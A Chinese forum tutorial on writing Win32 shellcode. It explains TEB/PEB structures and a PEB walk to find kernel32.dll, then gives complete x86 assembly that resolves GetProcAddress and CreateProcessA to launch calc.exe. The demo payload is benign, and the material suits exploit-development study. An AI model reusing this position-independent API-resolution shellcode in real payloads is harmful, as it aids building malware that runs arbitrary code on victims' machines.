Win32 Shellcode编写
2020-02-25 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:91 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:顾何

0x01 TEB

TEB对应的全称是Thread Environment Block ,直译过来是线程环绕块。
TEB结构体存储了线程相关的一些关键信息。


在介绍TEB之前,先简单介绍一下进程和线程的概念。


简单来说,进程可以理解为一个程序,比如启动微信,启动cmd.exe都是启动了一个进程。


线程在进程内部,可以理解为真正干活的东西。一个进程至少要完成一个任务,所以一个进程至少有一个线程。当然一个进程可以有很多个线程,这些线程可以是顺序执行的,也可以是并发执行的(多线程)


线程是程序执行的最小单元。


系统会在TEB中保存线程的一些相关数据。TEB位于用户地址空间,比PEB所在地址低。


进程中的每一个线程都有属于自己的一个TEB,进程中的所有TEB都以堆栈的方式存放在0x7FFDE000开始的线性内存中,每个TEB的大小为4kb。


所以在用户模式下,当前线程的TEB拥有4kb的空间,可以通过CPU的FS寄存器来访问该段。


TEB的起始地址一般是FS:[0]


在windbg中可以使用$thread取得TEB的地址。

0x02 PEB

PEB全称是Process Environment Block 进程环境块。


通过上面的介绍已经说了每个线程都有自己的TEB,其实每个进程也有自己的PEB信息。


PEB也存放在用户态的地址空间。


在以前的操作系统中,PEB的默认地址在0x7FFDF000处。


PEB的地址计算有两种:

  • 通过EPROCESS偏移0x1b0得到,但是EPROCESS是系统地址空间,访问EPROCESS需要R0的权限

  • 通过TEB结构偏移0x30获取PEB


之前已经讲过,通过FS:[0] 可以获取到当前TEB 的起始地址,所以通过fs:[0x30] 就可以获取到PEB的地址。

0x03 CreateProcess

我们都知道,CreateProcess函数可以用来创建一个新进程。官方文档如下:


通过该函数,我们可以看得出来,CreateProcess函数有个关键的参数是程序的路径。


CreateProcess函数在调用之后:

1. 首先会参数中路径的文件,以FILE_EXECUTE的方式打开

2. 把改文件映像装载进RAM

3. 创建进程内核对象,也就是EPROCESS、KPROCESS和PEB结构

4. 为新创建的进程分配地址空间

5. 创建主线程的线程执行对象,也就是EHTREAD、KTHREAD和TEB结构

6. 为主线程分配堆栈,建立该进程主线程的执行上下文

7. 由Kernel32.dll通知系统进程创建成功

8. 执行线程

9. 在进程和线程的Context中完成地址空间的初始化,正式执行程序

0x04 为什么要找PEB

上面已经说过,PEB保存了进程中的关键信息。PEB不仅包含了二进制映像信息,还包含了3个链表。这三个链表与已在进程空间中映射的已加载模块相关,所以可以通过链表找到kernel32.dll的地址。


比如在PEB中偏移0xC的位置指向了一个名为PEB_LDR_DATA结构的地址,PEB_LDR_DATA结构包含了三个LDR_DATA_TABLE双链。所以,要通过PEB找到kernel32.dll步骤如下:

1. 通过FS:[0x30]找到PEB的地址
2. 通过PEB + 0xC 找到PEB_LDR_DATA
3. 通过PEB_LDR_DATA + 0x14找到InMemoryOrderModuleList,InMemoryOrderModuleList可以获取所有已加载模块。
4. 第一个模块是eax地址本身
5. 第二个模块是ntdll.dll
6. 第三个模块是kernel32.dll 偏移地址为LDR+(DllBase - InMemoryOrderLinks ) = LDR + (0x18 - 0x8 ) = LDR + 0x10
这里的偏移为0x10,是因为每次在加载dll的时候,地址都会存储在dllbase中偏移量为0x18的地方,而连接列表的起始地址又存储在InMemoeryOrderLinks偏移0x08的位置。
所以偏移量差可以计算得到:
dllbase - InMemoeryOrderLinks = 0x18 - 0x08 = 0x10
还是直接来看汇编代码如何实现:
xor ecx, ecxmul ecxmov eax, [fs:ecx + 0x030]    ; 获取PEB,存入eaxmov eax, [eax + 0x00c]    ; 获取LDR,存入eaxmov eax, [eax + 0x014]    ; 获取InMemoryOrderModuleList,存入eaxmov eax, [eax]              ; 模块1 eax的地址mov eax, [eax]              ; 模块2 ntdll的地址mov eax, [eax + 0x10]       ; 模块3 kernel32.dll的地址xor eax, eax

通过这段代码,就可以获取kernel32.dll的地址并且存放到eax中:


保存为exe,od加载,这里可以看到成功获取。


0x05 为什么要找到Kernel.dll

找到Kernel32.dll的基址后,对Kernel进行解析就可以找到导出符号,调用相关的函数。


我们既然是要使用Kernel32.dll的导出函数,可以看一下PE结构中的导出表
导出表结构体名为IMAGE_EXPORT_DIRECTORY。


结构体定义如下:


通过对导出表结构体的观察可以得知,输出函数地址的RVA在导出表偏移
0x20的位置。


因为之前有六个Dword,两个word 一共28,所以输出函数地址RVA在偏移32个字节的位置,也就是0x20。


我们又知道,在PE文件格式中,MS-DOS一共占用0x40个字节,最后4个字节是e_lfanew指针,该指针会指向PE标头,而PE标头偏移0x78处的地方就是导出表的地址。


然后e_lfanew的地址又在可以通过kernel32偏移0x3c的地方得到。


所以现在可以编写代码来找函数了:

global _start section .text_start:  getkernel32:    xor ecx, ecx                ; 清空ECX    mul ecx                     ; 清空 EAX EDX    mov eax, [fs:ecx + 0x30]    ; PEB address 放入eax    mov eax, [eax + 0x0c]       ; LDR address 放入eax    mov esi, [eax + 0x14]       ; InMemoryOrderModuleList loaded in esi    lodsd                       ; program.exe address loaded in eax (1st module)    xchg esi, eax                   lodsd                       ; ntdll.dll address loaded (2nd module)    mov ebx, [eax + 0x10]       ; kernel32.dll address loaded in ebx (3rd module)     ; EBX = base of kernel32.dll address getAddressofName:    mov edx, [ebx + 0x3c]       ; load e_lfanew address in ebx    add edx, ebx                   mov edx, [edx + 0x78]       ; load data directory    add edx, ebx    mov esi, [edx + 0x20]       ; load "address of name"    add esi, ebx     ; ESI = RVAs

通过上面的代码,现在可以去获取和调用API了。


要在函数列表中找到指定函数的地址,需要使用到GetProcAddress函数。


GetProcAddress的实现原理应该是通过传入进来的dll模块句柄,遍历dll的导出函数列表与传入进来的函数名做对比。(就目前看到的资料应该是这样的)


通过上面的代码,目前eax已经在当前的dll模块了,所以我们也可以参考GetProcAddress的实现原理,去找到GetProcAddress函数的地址以供我们调用。


由于内存地址无法直接存放下GetProcAddress的十六进制编码,我们需要将该函数分解为四个部分:

  • GetP

  • rocA

  • ddre

  • ss


然后将这四个部分分别转换为16进制显示:


经过试验,发现其实只需要前面的3个四字节的元素就可以确定GetProcAddress的地址,所以只保留前面三部分:

  • 0x50746547 = GetP

  • 0x41636F72 =rocA

  • 0x65726464 = ddre

所以GetProcAddress的代码可以编写如下:

getProcAddress:    inc ecx                             ; ordinals increment    lodsd                               ; get "address of name" in eax    add eax, ebx                   cmp dword [eax], 0x50746547         ; GetP    jnz getProcAddress    cmp dword [eax + 0x4], 0x41636F72   ; rocA    jnz getProcAddress    cmp dword [eax + 0x8], 0x65726464   ; ddre  jnz getProcAddress
0x06 最终代码
%include "io.inc" section .textglobal CMAIN CMAIN: getkernel32:    xor ecx, ecx                ; zeroing register ECX    mul ecx                     ; zeroing register EAX EDX    mov eax, [fs:ecx + 0x030]   ; PEB loaded in eax    mov eax, [eax + 0x00c]      ; LDR loaded in eax    mov esi, [eax + 0x014]      ; InMemoryOrderModuleList loaded in esi    lodsd                       ; program.exe address loaded in eax (1st module)    xchg esi, eax                   lodsd                       ; ntdll.dll address loaded (2nd module)    mov ebx, [eax + 0x10]       ; kernel32.dll address loaded in ebx (3rd module)     ; EBX = base of kernel32.dll address getAddressofName:    mov edx, [ebx + 0x3c]       ; load e_lfanew address in ebx    add edx, ebx                   mov edx, [edx + 0x78]       ; load data directory    add edx, ebx    mov esi, [edx + 0x20]       ; load "address of name"    add esi, ebx    xor ecx, ecx     ; ESI = RVAs getProcAddress:    inc ecx                             ; ordinals increment    lodsd                               ; get "address of name" in eax    add eax, ebx                   cmp dword [eax], 0x50746547         ; GetP    jnz getProcAddress    cmp dword [eax + 0x4], 0x41636F72   ; rocA    jnz getProcAddress    cmp dword [eax + 0x8], 0x65726464   ; ddre    jnz getProcAddress getProcAddressFunc:    mov esi, [edx + 0x24]       ; offset ordinals    add esi, ebx                ; pointer to the name ordinals table    mov cx, [esi + ecx * 2]     ; CX = Number of function    dec ecx    mov esi, [edx + 0x1c]       ; ESI = Offset address table    add esi, ebx                ; we placed at the begin of AddressOfFunctions array    mov edx, [esi + ecx * 4]    ; EDX = Pointer(offset)    add edx, ebx                ; EDX = getProcAddress    mov ebp, edx                ; save getProcAddress in EBP for future purpose getCreateProcessA:    xor ecx, ecx                    ; zeroing ECX    push 0x61614173                    ; aaAs    sub word [esp + 0x2], 0x6161    ; aaAs - aa    push 0x7365636f                 ; ecor    push 0x72506574                 ; rPet    push 0x61657243                 ; aerC    push esp                        ; push the pointer to stack    push ebx                            call edx                        ; call getprocAddress zero_memory:    xor ecx, ecx                ; zero out counter register    mov cl, 0xff                ; we'll loop 255 times (0xff)    xor edi, edi                ; edi now 0x00000000     zero_loop:    push edi                    ; place 0x00000000 on stack 255 times    loop zero_loop              ; as a way to 'zero memory'  getcalc:    push 0x636c6163             ; 'calc'    mov ecx, esp                ; stack pointer to 'calc'     ; Registers situation at this point     ; EAX 75292062 kernel32.CreateProcessA    ; ECX 0022FB7C ASCII "calc"    ; EDX 75290000 kernel32.75290000    ; EBX 75290000 kernel32.75290000    ; ESP 0022FB7C ASCII "calc"    ; EBP 0022FF94    ; ESI 75344DD0 kernel32.75344DD0    ; EDI 00000000    ; EIP 00401088 get_calc.00401088     push ecx                    ; processinfo pointing to 'calc' as a struct argument    push ecx                    ; startupinfo pointing to 'calc' as a struct argument    xor edx, edx                ; zero out    push edx                    ; NULLS    push edx    push edx    push edx    push edx    push edx    push ecx                    ; 'calc'    push edx    call eax                    ; call CreateProcessA and spawn calc getExitProcess:    add esp, 0x010              ; clean the stack    push 0x61737365                ; asse    sub word [esp + 0x3], 0x61  ; asse -a    push 0x636F7250             ; corP    push 0x74697845             ; tixE    push esp    push ebx    call ebp     xor ecx, ecx    push ecx    call eax

代码编译之后可以直接在win7 win10上运行,运行结果如下:


参考资料:

https://0xdarkvortex.dev/index.php/2019/03/18/windows-shellcoding-x86-hunting-kernel32-dll-part-1/
http://hick.org/code/skape/papers/win32-shellcode.pdf

- End -

看雪ID:顾何

https://bbs.pediy.com/user-757351.htm 

*本文由看雪论坛  顾何 原创,转载请注明来自看雪社区。

推荐文章++++

CVE-2017-11882理论以及实战样本分析

恶意代码分析之 RC4 算法学习

CVE-2017-0101-Win32k提权分析笔记

ROPEmporium全解

实战栈溢出漏洞

好书推荐


公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]
“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458303661&idx=1&sn=e1b53b5a134896bbeda76c81397b279f&chksm=b1818c2786f60531b48b1575006f219d056209f7b2928be31269b7a8573ff2953972f6c59122#rd
如有侵权请联系:admin#unsafe.sh